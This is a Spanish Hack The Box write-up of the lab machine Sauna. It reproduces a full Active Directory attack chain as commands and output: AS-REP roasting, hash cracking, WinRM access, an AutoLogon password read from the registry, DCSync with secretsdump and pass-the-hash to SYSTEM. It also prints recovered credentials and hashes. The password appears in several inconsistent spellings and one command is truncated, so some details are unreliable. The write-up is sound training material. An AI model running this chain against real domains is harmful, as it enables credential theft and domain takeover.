



HACK THE BOX · WINDOWS

Sauna

Writeup técnico completo ·
explotación reproducible

Máquina Sauna resuelta

HTB Sauna · 23 de abril de 2026

Autor	Ramon Santos Sabarich / r4ms4nt
Tipo	Informe técnico completo y archivable
Objetivo	Documentar enumeración, Kerberos, pivote, user y root con trazabilidad clara y reutilizable
Fecha de resolución	23 de abril de 2026



Informe técnico normalizado para archivo, consulta
y trazabilidad.

GUÍA DE LECTURA

Índice

Documento maestro consolidado a partir del historial técnico de enumeración, explotación, pivote y escalada de privilegios. Se conserva la trazabilidad del caso y se presenta con una estructura limpia para lectura, archivo y consulta.

- 1. Introducción
- 2. Guía de lectura
- 3. Preparación del objetivo y arranque del reconocimiento
- 4. Identificación de la superficie dominante
- 5. Extracción de nombres desde about.html
- 6. Consolidación de identidades observadas
- 7. De nombres reales a candidatos de usuario
- 8. Antes de Kerberos: corrección del desfase horario
- 9. Validación de identidades mediante ASREPROasting
- 10. Preservación del hash y trabajo offline
- 11. Recuperación offline de la contraseña de fsmith
- 12. Acceso inicial por WinRM como fsmith
- 13. Enumeración interna inicial tras el foothold
- 14. AutoLogon en el registro: la segunda credencial
- 15. Resolución de la discrepancia de usuario
- 16. Cambio de contexto a svc_loanmgr
- 17. Medición del valor real de svc_loanmgr
- 18. Recolección de Active Directory con bloodhound-python
- 19. Decisión metodológica correcta ante el atasco de BloodHound
- 20. Verificación directa de DCSync
- 21. Pass-the-Hash contra Administrator
- 22. Verificación final de control total
- 23. Cadena técnica completa resumida
- 24. Lecciones reutilizables
- 25. Nota editorial sobre esta versión final

Sauna — Writeup técnico didáctico final (versión ampliada)

1. Introducción

Sauna es una máquina Windows retirada de Hack The Box, clasificada como Easy, pero con un valor formativo muy superior al que sugiere esa etiqueta. La resolución observada en este caso no depende de una única vulnerabilidad espectacular, sino de una cadena de compromiso de Active Directory construida paso a paso a partir de evidencias reales: información pública expuesta en la web, derivación de identidades, abuso de Kerberos, reutilización de credenciales encontradas durante la enumeración interna y, finalmente, explotación de permisos delegados de dominio hasta alcanzar compromiso total del controlador de dominio.

Lo que hace especialmente buena a Sauna para estudiar es que obliga a practicar varias ideas importantes al mismo tiempo:

- 1 cómo distinguir entre superficie visible y superficie dominante;
- 1 cómo convertir una web corporativa aparentemente inocua en inteligencia útil para Active Directory;
- 1 cómo interpretar correctamente un AS-REP roastable user;
- 1 cómo leer una cuenta que parece modesta localmente, pero que tiene mucho más peso en dominio del que aparenta.

Este documento reconstruye fielmente la resolución real observada en las notas del caso. No rehace la máquina con una vía alternativa ni rellena huecos con imaginación. Cuando aparece una interpretación, se presenta como interpretación; cuando algo quedó observado directamente, se presenta como hecho verificado.

2. Guía de lectura

El documento está organizado como una narración técnica cronológica. En cada fase se mantienen dos planos claramente diferenciados:

- 1 lo observado realmente, es decir, comandos ejecutados, salidas obtenidas y decisiones tomadas sobre evidencia;
- 2 la lectura didáctica, que explica por qué se hizo ese paso, qué señal previa lo justificaba, qué parte de la salida importaba de verdad y cómo cambiaba la siguiente decisión.

La idea no es construir un simple historial de comandos, sino un material reutilizable para estudio posterior.

3. Preparación del objetivo y arranque del reconocimiento

La máquina se inicia con el flujo habitual de laboratorio mediante la herramienta Inici-HTB, que fija el objetivo, prepara el directorio base, valida conectividad y lanza los primeros escaneos.

Comando de arranque

Inici-HTB SAUNA 10.129.95.180

Qué buscaba este arranque

No solo se trataba de "ver puertos". El arranque inicial tenía varias funciones concretas:

- 1 confirmar que el objetivo estaba vivo;
- 1 obtener una primera estimación del sistema operativo;
- 1 levantar una fotografía completa de la superficie TCP;
- 1 identificar servicios y versiones con el menor número posible de conjeturas.

Salida relevante

```
PING 10.129.95.180 ... ttl=127
10.129.95.180 (ttl -> 127): Windows
53/tcp    open  domain
80/tcp    open  http
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
5985/tcp  open  wsman
9389/tcp  open  adws
```

Y en el escaneo de servicios:

```
80/tcp    open  http           Microsoft IIS httpd 10.0
|_http-title: Egotistical Bank :: Home

389/tcp   open  ldap           Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL0.)
5985/tcp  open  http           Microsoft HTTPAPI httpd 2.0
Host: SAUNA
smb2-security-mode: Message signing enabled and required
clock-skew: 6h59m59s
```

Interpretación técnica

Aquí el dato importante no es "Windows con muchos puertos", sino la combinación exacta de servicios. DNS + Kerberos + LDAP + SMB + Global Catalog + WinRM + ADWS no dibujan un Windows cualquiera: dibujan con mucha fuerza un controlador de dominio.

Ese matiz es crucial porque cambia toda la estrategia. En lugar de abrir varias ramas a la vez —web, SMB, WinRM, LDAP— conviene preguntarse primero qué evidencia puede ayudar a construir identidades válidas, entender la autenticación del dominio y encontrar un punto de entrada con el menor ruido posible.

Cierre de fase

La fase inicial dejó cuatro hechos importantes ya fijados:

- 1 el objetivo era Windows;
- 1 su huella encajaba con un DC;
- 1 la web corporativa y el dominio parecían pertenecer al mismo contexto organizativo;
- 1 el clock skew era grande y debía quedar anotado para fases posteriores con Kerberos.

4. Identificación de la superficie dominante

A primera vista había una web accesible en 80/tcp, y podría haber sido tentador tratarla como una aplicación vulnerable clásica. Sin embargo, la lectura correcta fue distinta.

Hecho verificado

La web devolvía el título:

```
Egotistical Bank :: Home
```

y el dominio LDAP identificado era:

```
EGOTISTICAL-BANK.LOCAL
```

Por qué esta relación importaba

Porque une la web pública con el dominio interno. Eso no demuestra una vulnerabilidad web, pero sí revela algo quizá más útil en esta fase: la web probablemente pertenece a la misma organización que Active Directory y, por tanto, puede exponer nombres reales, cargos, estructura interna o pistas de nomenclatura.

Lectura didáctica

En un entorno AD, una web corporativa puede tener mucho valor incluso sin presentar una sola vulnerabilidad técnica visible. A veces el primer salto no sale de "romper" la aplicación, sino de leerla como fuente de inteligencia.

Por eso la superficie dominante no se trató como "WEB-BASE" en sentido clásico, sino como: AD enum apoyada por inteligencia pública desde la web.

5. Extracción de nombres desde about.html

Con esa hipótesis, el siguiente paso fue mínimo y de muy bajo ruido: comprobar si la web exponía nombres de personas reutilizables.

Comandos utilizados

```
curl -s http://10.129.95.180/about.html -o about.html  
grep -Eoi '[A-Z][a-z]+ [A-Z][a-z]+' about.html | sort -u
```

Qué se esperaba obtener

No se buscaba una vulnerabilidad. Se buscaba algo mucho más concreto:

- 1 nombres completos plausibles;
- 1 idealmente en una sección tipo team, about us o similar;
- 1 suficientes para derivar usuarios del dominio.

Qué devolvió la salida

La expresión regular devolvió muchísimo ruido de plantilla HTML, CSS y textos decorativos, pero entre toda esa salida aparecieron claramente seis nombres humanos plausibles:

- 1 Fergus Smith
- 1 Bowie Taylor
- 1 Hugo Bear
- 1 Shaun Coins

- 1 Sophie Driver
- 1 Steven Kerb

Interpretación

Este punto es importante porque convierte una intuición en un hecho verificado: la web pública sí exponía identidades útiles para Active Directory.

La decisión correcta a partir de ahí no era saltar a LDAP o SMB, sino consolidar esos nombres en un artefacto limpio de trabajo.

Lección reutilizable

Una web pública en un laboratorio AD puede no ser la puerta de entrada técnica, pero sí una base de datos de nombres humanos. Y eso, en ciertos escenarios, vale más que una vulnerabilidad ruidosa mal interpretada.

6. Consolidación de identidades observadas

Para evitar que el ruido de grep contaminara la siguiente fase, los nombres reales se pasaron a un archivo limpio.

Comando utilizado

```
printf '%s\n' \  
'Fergus Smith' \  
'Bowie Taylor' \  
'Hugo Bear' \  
'Shaun Coins' \  
'Sophie Driver' \  
'Steven Kerb' > fullnames.txt
```

Verificación:

```
cat fullnames.txt
```

Resultado observado

```
Fergus Smith  
Bowie Taylor  
Hugo Bear  
Shaun Coins  
Sophie Driver  
Steven Kerb
```

y la ubicación quedó correctamente fijada en:

```
/home/r4mon/pentest/targets/HTB/easy/SAUNA/content/users/fullnames.txt
```

Por qué este paso tiene valor real

Porque separa señal de ruido y convierte una observación en un artefacto operativo reutilizable. Esa distinción importa mucho en writeups didácticos: una cosa es "se vieron nombres en una web", y otra mejor es "quedó una lista limpia, trazable y lista para derivación de cuentas".

7. De nombres reales a candidatos de usuario

Una vez obtenidos los nombres, el siguiente paso no fue probar acceso a ciegas, sino construir una lista razonable de cuentas posibles.

Primera derivación amplia

Se generó una primera lista usernames.txt con múltiples patrones habituales:

- 1 nombre
- 1 apellido
- 1 nombre.apellido
- 1 nombreakellido
- 1 nombre_apellido
- 1 inicialapellido
- 1 y algunas variantes menos sólidas

Bloque utilizado

```
python3 - <<'PY'
from pathlib import Path

src = Path("fullnames.txt")
dst = Path("usernames.txt")

seen = set()
order = []

for line in src.read_text(encoding="utf-8").splitlines():
    name = line.strip()
    if not name:
        continue
    parts = name.lower().split()
    if len(parts) < 2:
        continue

    first = parts[0]
    last = parts[-1]

    candidates = [
        first,
        last,
        f"{first}.{last}",
        f"{first}{last}",
        f"{first}_{last}",
        f"{first[0]}{last}",
        f"{first}{last[0]}",
        f"{first[0]}.{last}",
        f"{last}.{first}",
        f"{last}{first[0]}",
    ]

    for candidate in candidates:
        if candidate not in seen:
            seen.add(candidate)
            order.append(candidate)

dst.write_text("\n".join(order) + "\n", encoding="utf-8")
print(f"[+] Guardados {len(order)} candidatos en {dst}")
PY
```

Salida útil

```
[+] Guardados 60 candidatos en usernames.txt
fergus
smith
fergus.smith
fergussmith
fergus_smith
fsmith
...
```

Qué se aprendió de esa salida

La generación funcionó, pero mezcló candidatos fuertes con variantes bastante flojas. Ese es un punto metodológico importante: una lista más larga no siempre es una lista mejor.

Segunda derivación: lista priorizada

Por eso se generó después `usernames_priority.txt`, conservando solo cuatro patrones de más valor inicial:

```
1 nombre.apellido
1 nombreapellido
1 nombre_apellido
1 inicialapellido
```

Bloque utilizado

```
python3 - <<'PY'
from pathlib import Path

src = Path("fullnames.txt")
dst = Path("usernames_priority.txt")

seen = set()
order = []

for line in src.read_text(encoding="utf-8").splitlines():
    name = line.strip()
    if not name:
        continue
    parts = name.lower().split()
    if len(parts) < 2:
        continue

    first = parts[0]
    last = parts[-1]

    candidates = [
        f"{first}.{last}",
        f"{first}{last}",
        f"{first}_{last}",
        f"{first[0]}{last}",
    ]

    for candidate in candidates:
        if candidate not in seen:
            seen.add(candidate)
            order.append(candidate)

dst.write_text("\n".join(order) + "\n", encoding="utf-8")
print(f"[+] Guardados {len(order)} candidatos prioritarios en {dst}")
PY
```

Salida relevante

```
fergus.smith
fergussmith
fergus_smith
fsmith
bowie.taylor
bowietaylor
bowie_taylor
btaylor
...
```

Interpretación técnica

Esta fase cierra muy bien una idea importante: en Active Directory no siempre gana quien genera más variantes, sino quien genera variantes mejor priorizadas y sabe justificar por qué empieza por unas y no por otras.

8. Antes de Kerberos: corrección del desfase horario

La enumeración inicial ya había dejado una alerta muy seria:

```
clock-skew: 6h59m59s
```

Antes de usar Kerberos, eso debía corregirse.

Comandos utilizados

```
date -u
sudo ntpdate -q 10.129.95.180
sudo ntpdate -u 10.129.95.180
date -u
```

Salida relevante

```
2026-04-23 20:44:15.93361 (+0200) +25202.319033 +/- 0.024418 10.129.95.180 s1 no-leap
CLOCK: time stepped by 25202.317982
```

Qué significaba esa salida

La diferencia era de unas siete horas. No era un detalle cosmético. Era un problema suficientemente grande como para contaminar por completo cualquier lectura posterior de Kerberos.

Por qué este paso fue obligatorio

Kerberos depende del tiempo. Si el reloj está roto, una técnica puede parecer fallida por un motivo completamente distinto del que se está interpretando.

Lección reutilizable

Una buena lista de usuarios puede quedar inutilizada por un reloj desalineado. Antes de declarar muerta una vía Kerberos, conviene asegurarse de que el tiempo no está sabotando la lectura.

9. Validación de identidades mediante ASREPRoasting

Con la hora corregida y la lista priorizada preparada, el siguiente paso fue comprobar si alguno de los candidatos devolvía una respuesta útil en Kerberos sin contraseña.

Comando utilizado

```
GetNPUsers.py EGOTISTICAL-BANK.LOCAL/ -usersfile usernames_priority.txt -no-pass -dc-ip 10.129.95.180
```

Qué buscaba este comando

No autenticaba usuarios con contraseñas. Lo que hacía era preguntar al KDC si alguna cuenta tenía preautenticación Kerberos deshabilitada, permitiendo así obtener un AS-REP roastable.

Salida observada

La mayoría de candidatos devolvieron:

```
KDC_ERR_C_PRINCIPAL_UNKNOWN
```

Pero uno devolvió algo completamente distinto:

```
$krb5asrep$23$fsmith@EGOTISTICAL-BANK.LOCAL:...
```

Qué quedó demostrado aquí

Este punto valida de golpe varias decisiones anteriores:

- 1 la web sí aportó nombres útiles;
- 2 la derivación de usuarios no fue arbitraria;
- 3 la convención inicial + apellido funcionó;
- 4 la cuenta fsmith era real;
- 5 además, era AS-REP roastable.

Implicación para la siguiente fase

Desde aquí ya no tenía sentido seguir ampliando listas de usuarios o probar SMB/LDAP por inercia. La evidencia dominante era mucho mejor: un hash Kerberos explotable offline.

10. Preservación del hash y trabajo offline

Antes de cualquier cracking, el hash se guardó en un fichero limpio.

Bloque utilizado

```
cat > asrep_fsmith.txt <<'EOF'
$krb5asrep$23$fsmith@EGOTISTICAL-BANK.LOCAL:655d7bbbf26151b21bd1ee464be5be3c$1cc708ac52f286125fd08352f6102f1
EOF

wc -l asrep_fsmith.txt
cat asrep_fsmith.txt
```

Verificación

`wc -l` devolvió 1, lo que confirmó que el artefacto útil estaba aislado en una sola línea y sin ruido.

Por qué importa documentarlo

Porque en un caso así el hash ya no es solo una salida de herramienta: pasa a ser un artefacto central de la investigación.

11. Recuperación offline de la contraseña de fsmith

Comando utilizado

```
hashcat -m 18200 asrep_fsmith.txt /usr/share/wordlists/rockyou.txt -O --outfile cracked_fsmith.txt
cat cracked_fsmith.txt
```

Qué hace exactamente -m 18200

Ese modo corresponde a:

- 1 Kerberos 5, etype 23, AS-REP

Es decir, el formato exacto del material obtenido con `GetNPUsers.py`.

Resultado observado

Hashcat resolvió la contraseña con rockyou.txt:

```
...:Thestrokes23
```

Credencial recuperada

- 1 usuario: fsmith
- 1 contraseña: Thestrokes23

Qué cambia a partir de aquí

Hasta este punto la ruta había sido:

- 1 nombres → usuarios plausibles → cuenta real → hash AS-REP

Ahora la cadena da un salto cualitativo: ya existe una credencial completa y reutilizable.

El siguiente paso correcto ya no es "seguir abusando de Kerberos", sino comprobar en qué superficie expuesta esa credencial tiene valor operativo real.

12. Acceso inicial por WinRM como fsmith

WinRM ya estaba expuesto desde la fase de enumeración inicial, así que era la opción más limpia para validar el valor práctico de la credencial.

Comando utilizado

```
evil-winrm -i 10.129.95.180 -u fsmith -p 'Thestrokes23'
```

Qué se esperaba obtener

- 1 o una shell remota válida;
- 1 o un fallo de autorización que obligara a reinterpretar el alcance de la cuenta.

Resultado observado

```
*Evil-WinRM* PS C:\Users\FSmith\Documents>
```

Hecho verificado

La credencial no solo era válida en abstracto, sino operativa en un servicio real del sistema.

Lectura didáctica

Este es el primer gran pivote del caso. El problema deja de ser "encontrar una debilidad de autenticación" y pasa a ser "enumerar correctamente un foothold ya conseguido".

13. Enumeración interna inicial tras el foothold

Una vez dentro como fsmith, la decisión correcta no fue saltar a herramientas pesadas, sino fijar contexto.

Comandos utilizados

```
whoami  
whoami /groups  
hostname  
ipconfig /all
```

```
systeminfo
echo $env:USERDOMAIN
echo $env:COMPUTERNAME
dir C:\Users
type C:\Users\FSmith\Desktop\user.txt
```

Salida clave resumida

```
whoami
egotisticalbank\fsmith
BUILTIN\Remote Management Users
BUILTIN\Users
BUILTIN\Pre-Windows 2000 Compatible Access
hostname
SAUNA
echo $env:USERDOMAIN
EGOTISTICALBANK
dir C:\Users
Administrator
FSmith
Public
svc loanmgr
type C:\Users\FSmith\Desktop\user.txt
c06623afb7a5c08a412d732234887383
```

Qué importaba de verdad de esta salida

- 1 fsmith tenía acceso remoto, pero no parecía administrador;
- 1 el flag de usuario ya era legible;
- 1 y, sobre todo, existía un perfil local de svc_loanmgr.

Por qué ese perfil cambió la dirección del caso

Porque sugería la presencia de otra cuenta con más valor potencial que fsmith. Y en Windows, cuando una cuenta de servicio deja rastro local, merece la pena preguntarse si el sistema expone credenciales o configuración asociadas a ella.

14. AutoLogon en el registro: la segunda credencial

Comando utilizado

```
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"
```

Qué se estaba buscando

Los parámetros típicos de AutoLogon:

- 1 DefaultDomainName
- 1 DefaultUserName
- 1 DefaultPassword

Salida relevante

DefaultDomainName	REG_SZ	EGOTISTICALBANK
DefaultUserName	REG_SZ	EGOTISTICALBANK\svc_loanmanager
DefaultPassword	REG_SZ	Moneymaketheworldgoround!

Qué quedó demostrado

El sistema almacenaba una contraseña en claro en el registro. Eso ya no era una inferencia ni una conjetura: era un secreto reutilizable observado directamente en el host.

La discrepancia importante

Aquí apareció un matiz muy fino, pero decisivo:

- 1 en C:\Users se había visto svc_loanmgr;
- 1 en Winlogon aparecía svc_loanmanager.

Antes de reutilizar la credencial, tocaba resolver cuál era el nombre real de la cuenta.

Lección reutilizable

Cuando un sistema expone una contraseña en claro, la tentación natural es probarla inmediatamente. El problema es que si el identificador del usuario está mal interpretado, una credencial perfectamente buena puede parecer inútil.

15. Resolución de la discrepancia de usuario

Comandos utilizados

```
net user svc_loanmgr  
net user svc_loanmanager
```

Resultado observado

svc_loanmgr sí existía y devolvía información de cuenta. svc_loanmanager no existía.

Además, svc_loanmgr pertenecía a:

- 1 Domain Users
- 1 Remote Management Users

Interpretación

La discrepancia quedó resuelta. La contraseña observada en AutoLogon seguía siendo válida como secreto expuesto, pero el nombre de usuario operativo correcto era:

- 1 svc_loanmgr

Implicación

Eso permitía intentar un nuevo acceso remoto con muy buena base:

- 1 nombre real verificado;
- 1 contraseña observada en claro;
- 1 pertenencia a Remote Management Users.

16. Cambio de contexto a svc_loanmgr

Comando utilizado

```
evil-winrm -i 10.129.95.180 -u svc_loanmgr -p 'Moneymakestheworldgoround!'
```

Resultado observado

```
*Evil-WinRM* PS C:\Users\svc_loanmgr\Documents>
```

Qué significó este paso

Hasta ese momento, fsmith había sido la puerta de entrada. A partir de aquí, la cuenta principal de trabajo pasó a ser svc_loanmgr.

Y aquí aparece una idea muy importante en AD: una cuenta puede parecer modesta desde fuera, pero tener un peso enorme en el dominio.

17. Medición del valor real de svc_loanmgr

El siguiente paso fue confirmar qué grupos y privilegios tenía realmente esta nueva cuenta.

Primer tropiezo operativo

Se ejecutó por error:

```
whoami / groups
whoami / priv
```

y eso devolvió un error sintáctico:

```
ERROR: Invalid argument/option - '/'
```

Corrección

La forma correcta era:

```
whoami
whoami /groups
whoami /priv
```

Salida observada

Grupos:

```
BUILTIN\Remote Management Users
BUILTIN\Users
BUILTIN\Pre-Windows 2000 Compatible Access
...
```

Privilegios:

```
SeMachineAccountPrivilege    Enabled
SeChangeNotifyPrivilege      Enabled
SeIncreaseWorkingSetPrivilege Enabled
```

Qué enseñó esta salida

Y este es uno de los grandes puntos didácticos de Sauna:

- 1 svc_loanmgr no destacaba por privilegios locales potentes;
- 1 no aparecían grupos administrativos locales;
- 1 no saltaban privilegios clásicos como SeImpersonatePrivilege.

Eso obligaba a cambiar la pregunta. El valor de esta cuenta no parecía estar en el host local, sino probablemente en el dominio.

Lección reutilizable

Cuando una cuenta no destaca ni por grupos locales ni por privilegios del token, no conviene descartarla demasiado rápido. En Active Directory, muchas cuentas aparentemente discretas esconden su valor en ACLs, delegaciones y derechos sobre objetos del dominio.

18. Recolección de Active Directory con bloodhound-python

Con esa lectura, la siguiente decisión fue correcta: recoger información de AD desde fuera para entender qué podía hacer svc_loanmgr en el dominio.

Comandos utilizados

```
cd /home/r4mon/pentest/targets/HTB/easy/SAUNA/content
bloodhound-python -u svc_loanmgr -p 'Moneymakestheworldgoround!' -d EGOTISTICAL-BANK.LOCAL -ns 10.129.95.180
zip bloodhound_sauna.zip *.json
ls -l *.json bloodhound_sauna.zip
```

Salida relevante

```
INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3)
INFO: Found AD domain: egotistical-bank.local
WARNING: Failed to get Kerberos TGT. Falling back to NTLM authentication.
INFO: Found 1 domains
INFO: Found 1 computers
INFO: Found 7 users
INFO: Found 52 groups
INFO: Found 3 gpos
INFO: Found 1 ous
INFO: Found 19 containers
INFO: Found 0 trusts
```

Qué se aprendió aquí

La recolección fue válida y produjo varios JSON y un ZIP listo para importar. El detalle del fallo inicial del TGT no fue el dato central, porque la herramienta hizo fallback a NTLM y completó la recogida.

El problema real vino después

La parte local de análisis visual quedó bloqueada por varios tropiezos del entorno atacante:

- 1 arranque de Neo4j como parte del setup;
- 1 primera ejecución de BloodHound con componentes CE;
- 1 mezcla entre recolección LEGACY y stack CE;
- 1 problemas de navegador al lanzarlo como root;
- 1 bhapi.json roto por un carácter sobrante;
- 1 y, finalmente, un fallo de migración SQL.

Por qué merece la pena documentarlo

Porque enseña una lección metodológica importante: una herramienta local puede atascarse sin que la explotación esté mal encaminada. El problema puede estar en el visor, no en la cadena de ataque.

19. Decisión metodológica correcta ante el atasco de BloodHound

La investigación no se detuvo a pelear indefinidamente con el visor local. Y esa fue una decisión muy buena.

Razonamiento

A esas alturas ya había suficiente evidencia para sostener una hipótesis fuerte:

- 1 svc_loanmgr no destacaba localmente;
- 1 por tanto, lo más razonable era que su valor estuviera en dominio;
- 1 si eso era cierto, debía poder comprobarse directamente.

La pregunta adecuada pasó a ser

¿Tiene svc_loanmgr permisos de replicación sobre el dominio?

20. Verificación directa de DCSync

Comando utilizado

```
impacket-secretsdump 'EGOTISTICAL-BANK.LOCAL/svc_loanmgr:Moneythefirstworldgoround!@10.129.95.180' -just-dc-
```

Qué buscaba este comando

No se trataba de un volcado masivo. La opción `-just-dc-user Administrator` restringía la prueba a una comprobación muy concreta: verificar si la cuenta tenía derechos suficientes para extraer el material del administrador del dominio.

Resultado observado

```
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:823452073d75b9d1cf70ebdf86c7f98e:::
[*] Kerberos keys grabbed
```

Qué quedó demostrado

Esto cerró la duda más importante del caso:

- 1 svc_loanmgr tenía capacidad efectiva de DCSync.

Ese es el momento en el que la cuenta deja de ser "interesante" y pasa a ser crítica.

Implicación

Ya no hacía falta seguir enumerando ACLs o arreglar BloodHound para saber si la cuenta tenía valor. La demostración práctica ya estaba hecha.

21. Pass-the-Hash contra Administrator

Con el hash NTLM del Administrator en la mano, el siguiente paso fue directo y coherente.

Comando utilizado

```
psexec.py EGOTISTICAL-BANK.LOCAL/Administrator@10.129.95.180 -hashes aad3b435b51404eeaad3b435b51404ee:823452073d75b9d1cf70ebdf86c7f98e:::
```

Qué se esperaba obtener

Una autenticación Pass-the-Hash exitosa y una shell remota con privilegios máximos en el DC.

Resultado observado

```
[*] Found writable share ADMIN$
[*] Uploading file ...
[*] Creating service ...
[*] Starting service ...
```



```
Microsoft Windows [Version 10.0.17763.973]  
C:\Windows\system32>
```

Interpretación

El hash del Administrator era plenamente reutilizable. En ese punto, el caso ya estaba prácticamente cerrado. Solo faltaba hacer la verificación mínima de identidad y lectura del flag final.

22. Verificación final de control total

Comandos utilizados

```
whoami  
hostname  
type C:\Users\Administrator\Desktop\root.txt
```

Salida observada

```
nt authority\system  
SAUNA  
2ebc5339eff500834123056f79cad936
```

Hechos verificados

- 1 el contexto final era SYSTEM;
- 1 el host era SAUNA;
- 1 el root.txt era accesible.

Con eso quedó confirmado el compromiso total del controlador de dominio.

23. Cadena técnica completa resumida

La resolución real observada en Sauna fue esta:

- 1 Enumeración inicial con huella clara de DC Windows.
- 2 Interpretación de la web como fuente de inteligencia y no como vía principal de explotación.
- 3 Extracción de nombres reales desde about.html.
- 4 Creación de fullnames.txt.
- 5 Derivación de usuarios candidatos y priorización de convenciones plausibles.
- 6 Corrección del clock skew antes de tocar Kerberos.
- 7 ASREPROasting exitoso sobre fsmith.
- 8 Preservación del hash y recuperación offline de The strokes23.
- 9 Acceso remoto por WinRM como fsmith.
- 10 Enumeración interna y detección del perfil svc_loanmgr.
- 11 Consulta del registro y hallazgo de AutoLogon con contraseña en claro.
- 12 Resolución de la discrepancia svc_loanmanager / svc_loanmgr.
- 13 Acceso remoto por WinRM como svc_loanmgr.
- 14 Comprobación de que el valor real de la cuenta no estaba en el host, sino en el dominio.
- 15 Recolección de AD con bloodhound-python.
- 16 Atasco local del visor BloodHound y reevaluación metodológica correcta.

- 17 Validación directa de DCSync con secretsdump.
 - 18 Extracción del hash NTLM de Administrator.
 - 19 Pass-the-Hash con psexec.py.
 - 20 Shell final como SYSTEM y lectura del root.txt.
-

24. Lecciones reutilizables

La web pública puede ser una fuente de identidad, no una superficie dominante de explotación

No toda web tiene que romperse. Algunas simplemente alimentan mejor que ninguna otra fase la construcción de identidades válidas en AD.

La nomenclatura de usuarios se debe trabajar como un artefacto, no como improvisación

Pasar de nombres reales a fullnames.txt, luego a usernames.txt y finalmente a usernames_priority.txt no fue burocracia: fue una manera ordenada de elevar la calidad de la siguiente validación.

Kerberos sin tiempo correcto engaña

El clock skew de siete horas habría hecho muy fácil interpretar mal la fase de Kerberos. Corregir el tiempo fue una precondition, no una comodidad.

Un usuario AS-REP roastable cambia de verdad el caso

Cuando una cuenta devuelve un AS-REP hash, la prioridad deja de ser ampliar listas de nombres y pasa a ser preservar ese artefacto y trabajarlo offline.

Un foothold inicial no siempre es el usuario importante del caso

fsmith fue suficiente para entrar, pero no para cerrar la máquina. Su verdadero valor estuvo en permitir descubrir algo mejor.

El registro de Windows sigue siendo una fuente de secretos brutal

Winlogon entregó una contraseña en claro. Esa mala práctica convirtió una enumeración post-foothold aparentemente simple en un pivote decisivo.

El peso real de una cuenta puede estar en el dominio, no en sus grupos locales

Ese es quizá el aprendizaje más fuerte de Sauna. svc_loanmgr no impresionaba localmente. Pero su impacto real estaba en Active Directory.

Cuando el visor falla, la cadena no tiene por qué estar rota

El atasco con BloodHound enseñó muy bien a distinguir entre:

- 1 un problema del objetivo;
 - 1 y un problema del entorno atacante.
- Y esa distinción ahorra muchísimo tiempo.
-

25. Nota editorial sobre esta versión final

Esta versión amplía de forma clara el desarrollo del caso respecto a la versión anterior. El objetivo ha sido conservar la riqueza didáctica de las notas, pero quitando la sensación mecánica que producía repetir en cada microfase las mismas etiquetas de "objetivo", "hechos verificados", "suposiciones", "método", "respuesta", "comandos", "comprobaciones" y "notas".

Esa información no se ha eliminado. Se ha reintegrado dentro de una narrativa técnica más natural y más legible, manteniendo la trazabilidad del caso real.

Correcciones aplicadas sobre las notas originales

No se han hecho correcciones destructivas sobre el contenido técnico original. Solo se han asumido tres tipos de normalización editorial:

- 1 orden y maquetación del cuerpo principal;
- 2 integración narrativa de contenido repetitivo;
- 3 lectura explícita de pequeños errores operativos ya presentes en las propias notas, por ejemplo:

la sintaxis incorrecta `whoami / groups` y `whoami / priv`;

la discrepancia entre `svc_loanmanager` y `svc_loanmgr`;

el atasco local con BloodHound CE frente a recolección Legacy.

No se ha inventado una ruta nueva ni se ha reescrito la máquina como si se hubiera resuelto de otro modo.

26. Anexo de trazabilidad — notas originales completas

Se conservan a continuación las notas originales completas como bloque de trazabilidad. No se han eliminado pasos, pivotes ni salidas relevantes. El cuerpo principal de este documento es la versión didáctica consolidada; lo que sigue preserva el historial operativo original.

Iniciamos la explotación de la máquina Sauna de Hack The Box.

Síntesis de la máquina:

Sauna es una máquina Windows de dificultad Easy y además está retirada en HTB. HTB la describe como una máquina centrada en enumeración y explotación de Active Directory, publicada originalmente el 15/02/2020.

Síntesis técnica – Sauna

Sauna es una máquina orientada a una cadena clásica de compromiso en entorno Windows/Active Directory. La resolución parte de una fase de enumeración sobre información expuesta por la organización, continúa con la construcción de identidades válidas dentro del dominio y evoluciona hacia técnicas de abuso de autenticación Kerberos para obtener credenciales reutilizables. A partir de ese acceso inicial, la máquina obliga a profundizar en la enumeración interna del sistema y de los privilegios delegados en el dominio, hasta enlazar una ruta de escalada que culmina en compromiso total del controlador de dominio. En términos formativos, es una máquina muy útil para practicar

metodología AD, correlación de evidencias, uso de herramientas de reconocimiento de dominio y comprensión de cadenas de ataque basadas en permisos mal asignados.

Valor técnico real

Muy buena para aprender flujo básico de AD enum → Kerberos abuse → acceso remoto → análisis de privilegios → DCSync.

Aunque HTB la marca como Easy, es una easy de mucho valor pedagógico si quieres empezar a entender Windows/AD de forma seria.

Iniciamos con nuestro programa Inici_HTB, que nos ayuda a organizar la información de cada máquina y a ejecutar los primeros pasos de reconocimiento.

```
> Inici-HTB SAUNA 10.129.95.180
[] Fijando objetivo en Polybar con settarget
[] Preparando directorio base
[*] Comprobando conectividad inicial
PING 10.129.95.180 (10.129.95.180) 56(84) bytes of data.
64 bytes from 10.129.95.180: icmp seq=1 ttl=127 time=50.0 ms

--- 10.129.95.180 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 50.026/50.026/50.026/0.000 ms
[*] Intentando identificación rápida con whichSystem.py
```

10.129.95.180 (ttl -> 127): Windows

```
[*] Lanzando escaneo completo de puertos
[sudo] contraseña para r4mon:
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-04-23 12:55 CEST
Initiating SYN Stealth Scan at 12:55
Scanning 10.129.95.180 [65535 ports]
Discovered open port 80/tcp on 10.129.95.180
Discovered open port 135/tcp on 10.129.95.180
Discovered open port 139/tcp on 10.129.95.180
Discovered open port 445/tcp on 10.129.95.180
Discovered open port 53/tcp on 10.129.95.180
Discovered open port 88/tcp on 10.129.95.180
Discovered open port 49676/tcp on 10.129.95.180
Discovered open port 49674/tcp on 10.129.95.180
